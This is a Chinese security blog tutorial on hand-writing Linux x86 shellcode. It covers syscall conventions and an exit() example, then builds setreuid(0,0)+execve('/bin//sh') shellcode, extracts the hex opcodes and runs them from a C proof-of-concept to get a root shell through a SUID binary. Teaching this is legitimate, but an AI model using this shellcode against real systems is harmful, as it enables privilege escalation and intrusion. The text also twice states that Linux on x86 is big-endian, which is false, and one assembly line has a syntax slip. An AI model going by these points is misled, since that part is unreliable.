【安全健行】(4):揭開shellcode的神祕面紗

2015/5/18 16:20:18

前面我們介紹了shellcode使用的基本策略,包括基本的shellcode、反向連接的shellcode以及查找套接字的shellcode。在宏觀上了解了shellcode之後,今天我們來深入一步,看看shellcode到底是什麼。也許大家和我一樣,從接觸安全領域就聽說shellcode,也模糊地知道shellcode基本就是那個***載荷,但是shellcode到底長什麼樣,卻一直遮遮掩掩,難睹真容。趁今天這個機會,我們一起來揭開shellcode的神祕面紗吧!本節要點如下:

  • Linux系統調用方式

  • shellcode的構造

  • 一個具體的shellcode實例

好了,閒言少敘,接下來我們一起進入正題吧!

一、Linux系統調用方式

我們多少都知道,shellcode在緩衝區***的組合三明治中作爲關鍵的***載荷存在,漏洞***獲取了操縱EIP寄存器後執行的最終代碼就是我們的shellcode。既然shellcode是***功能的主要實現,那麼自然少不了各種系統功能,如最初的返回一個交互shell,如自動下載一個文件,如自動安插一個後門,等等。而這些操作無一不需要操作系統的鼎力配合。

操作系統配合的方式是提供了系統調用接口,Windows下稱作系統API,也就是我們前一章提到的系統內存分爲用戶態和內核態,系統調用存在內核態中,而調用接口則提供給用戶態的用戶進程,當然也包括我們的shellcode。

  1. 關於系統調用

不同的操作系統中系統調用的實現方式會有不同,比如Winodws中就使用的API方式。這裏我們的系統是Linux,因此先來介紹Linux中系統調用的基本知識。

一般操作系統提供系統調用有三種方式:

  • 硬件中斷:比如來自鍵盤的異步信號;

  • 硬件陷阱:比如非法的“除以0”錯誤結果;

  • 軟件陷阱:比如進程請求調度執行;

Linux系統採用的是第三種,即軟件陷阱的方式,具體方式就是定義了一個系統調用函數表syscalltable,用於按照順序組織每個系統調用在內核中的位置;同時Linux還定義了系統調用號,對應着syscalltable中的索引號,這樣,我們每次需要系統調用的時候,只需要傳遞給系統調用號,然後系統調用會自動找到相對應的內核位置,運行該函數。

更爲詳盡的介紹可以參看CU博友的相關文章:http://blog.chinaunix.net/uid-7547035-id-60054.html

二、shellcode的構造

我們直覺上應該能知道shellcode是機器可以識別的二進制機器碼,因此自然有三種方式可以構造shellcode:

  • 直接寫16進制操作碼

  • 採用C語言這樣的高級語言編寫程序,編譯鏈接後再反彙編獲取彙編指令和16進制操作碼;

  • 編寫彙編程序,彙編後利用objdump從中提取出16進制操作碼

大家一般不會選擇第一種方式,可能傾向於第二種的朋友比較多,但是實際上,最爲實用的是第三種。這裏大家要區分彙編語言依舊不是機器碼,每個CPU都有自己特定的操作碼集合,這些集合都利用32位的機器碼來表示,因此我們的最終目標是獲得執行功能的機器碼,具體到我們今天的例子,就是來獲取一個執行系統調用的機器操作碼。

在彙編語言層測,主要通過加載特定寄存器值的方式進行系統調用:

  1. eax中加載體統調用使用的16進制值,即系統調用號,syscalltable中的索引;

  2. ebx存放第1個參數,在ecx中存放第2個參數,在edx中存放第3個參數,在esiedi中存放第4、5個參數,Linux系統調用最多支持5個單獨參數;

  3. 若實際參數超過5個,那麼使用一個參數數組,並且將該數組的地址存放在ebx中;

爲了說明爲什麼直接利用匯編來寫shellcode更爲實用,我們來引入一個簡單的調用系統函數exit()的C程序,如下:

//exit.c
#include <stdlib.h>
int main()
{
   exit(0);
}

在Linux下記得不要加入"system("pause")"這樣的命令,這個只在Windows下才能識別,Linux下會報錯。接下來我們利用gcc進行編譯,運行後查看反彙編的代碼:

38PqqY6.png

這裏我們設置了斷點,只查看main函數中的代碼,忽略了函數開場白和收場白,注意彙編代碼<+4>和<+9>的兩行代碼,它們是系統在調用exitgroup()這個系統調用,該調用時確保進程退出所在的線程組;接下來的<+15>和<+20>則是我們關於exit(0)的調用。這裏採用的是gcc的動態編譯,因此調用exitgroup時使用的是call的形式,如果採用static形式編譯,那麼則會和exit一樣是0x80的形式,這裏用0x80表示一個系統軟中斷。

細心的朋友一定發現採用C編譯的問題,就是引入了編譯器優化的其他系統調用,我們必須進行區分篩選構造shellcode,而在彙編代碼中找到我們的系統調用碼有時並不容易,因此我們推薦更爲直接,也是更爲實用的第三種方式:直接使用彙編語言編寫shellcode

這裏我們只需要簡單幾句彙編語句即可:

;exit.asm
section .text
global _start
_start:
xor eax, eax ; 初始化eax爲0
xor ebx, ebx ; 初始化ebx爲0
mov al, 0x01 ; 放入exit的系統調用號“1”
int 0x80;

這裏需要注意的是mov al, 0x01 沒有直接使用eax,而是eax的8位版本al,即最低的8位寄存器,因爲Linux下默認是大端存儲 ,即高位數據會存放在低位內存上(無論大端還是小端,都是從內存低地址向高地址存放數據,只是先存高位數據還是低位數據的問題,書寫上,一般左側是高位,右側是低位)。如果是EAX寄存器,那麼就會是【(高內存)01 00 00 00(低內存)】,因此我們需要採用al寄存器。

利用nasm和ld對我們的彙編程序進行彙編和鏈接,然後運行測試,使用strace來查看系統調用:

CWFeKAK.png

實驗證明我們成功調用了exit()函數。接下來的工作就是從中提取出操作碼,然後嵌入到***載荷中就可以了,下面我們以一個簡單的shellcode來進行說明。

三、一個具體的shellcode實例

1. 明確系統調用

在具體構造一個shellcode之前,我們需要明確shellcode要實現的系統調用。這裏我們引入兩個系統調用setreuid(0,0)和execve

  • setreuid(0,0)系統調用主要用來交換Linux進程的實際用戶ID和有效用戶ID。每個Linux進程都有有兩個相關的用戶ID:實際用戶ID(即ruid)和有效用戶ID(即euid),其中ruid表示了該進程由誰運行,即當前系統環境用戶是誰,主要回答who am I?的問題;而euid則用來規範進程的實際權限控制。比如passwd文件存放了用戶名和密碼,當一個普通用戶運行passwd時,其ruid是自己,而euid則臨時變爲了文件的所有者root。這主要是設置SUID來實現的,而setreuid的作用在於交換ruid和euid;

  • execve系統調用用於啓動一個具體的可執行文件,一般需要三個參數:eax中存放系統調用號0xb;ebx中存放一個字符串的地址;ecx中還是上面的地址;edx中0x0;

關於setreuid的一個參考:http://blog.csdn.net/hittata/article/details/8670208

接下來我們shellcode的思路是:

  1. 創建一個調用shellcode字符串的C程序文件se_r,意思爲包含setreuid+execve兩個系統調用的測試文件;

  2. 爲se_r賦予root所有者,添加SUID位;

  3. 普通用戶運行se_r,運行時euid會變爲root,而setreuid會交換ruid和euid,因此當程序執行完畢後實際用戶成爲了root;

我們不再採用C語言來編寫shellcode,而是直接採用彙編語言:

section .text
global _start

_start:
;setreuid(0,0)
xor eax, eax
mov al, 0x46 ;setreuid的系統調用號
xor ebx, ebx
xor ecx, ecx
int 0x80    ;系統調用

;spawn shellcode with execve
xor eax, eax
push eax
push 0x68732f2f ;逆序壓入“//sh”
push 0x6e69622f :逆序壓入“/bin”
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80

這裏逆序壓入也是因爲是大端輸入的問題,採用兩個“//”是爲了4個字節的對齊。

我們彙編、鏈接上面的文件,設置所有者爲root,添加SUID權限後運行:

gaRlxZi.png

可以看到得到了root的shell。

我們的shellcode通過測試之後,接下來要從中提取出我們的操作碼,這裏主要利用objump命令:

7EhiWHF.png

主要檢查下操作碼中不要有0x0這樣的字符,因爲系統會意外中止,檢查沒有後,我們開始寫一個C程序加進我們的shellcode,即POC:

char sc[] =
   //setreuid(0,0)
   "\x31\xc0"
   "\xb0\x46"
   "\x31\xdb"
   "\x31\xc9"
   "\xcd\x80"
   //spawn shellcode with execve
   "\x31\xc0"
   "\x50"
   "\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e"
   "\x89\xe3"
   "\x50"
   "\x53"
   "\x89\xe1"
   "\x31\xd2"
   "\xb0\x0b"
   "\xcd\x80";

int main()
{
   void (*fp) (void);
   fp = (void *)sc;
   fp();
}

Refer: Gray Hat Hacking: The Ethical Hacker's Handbook, Third Edition


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章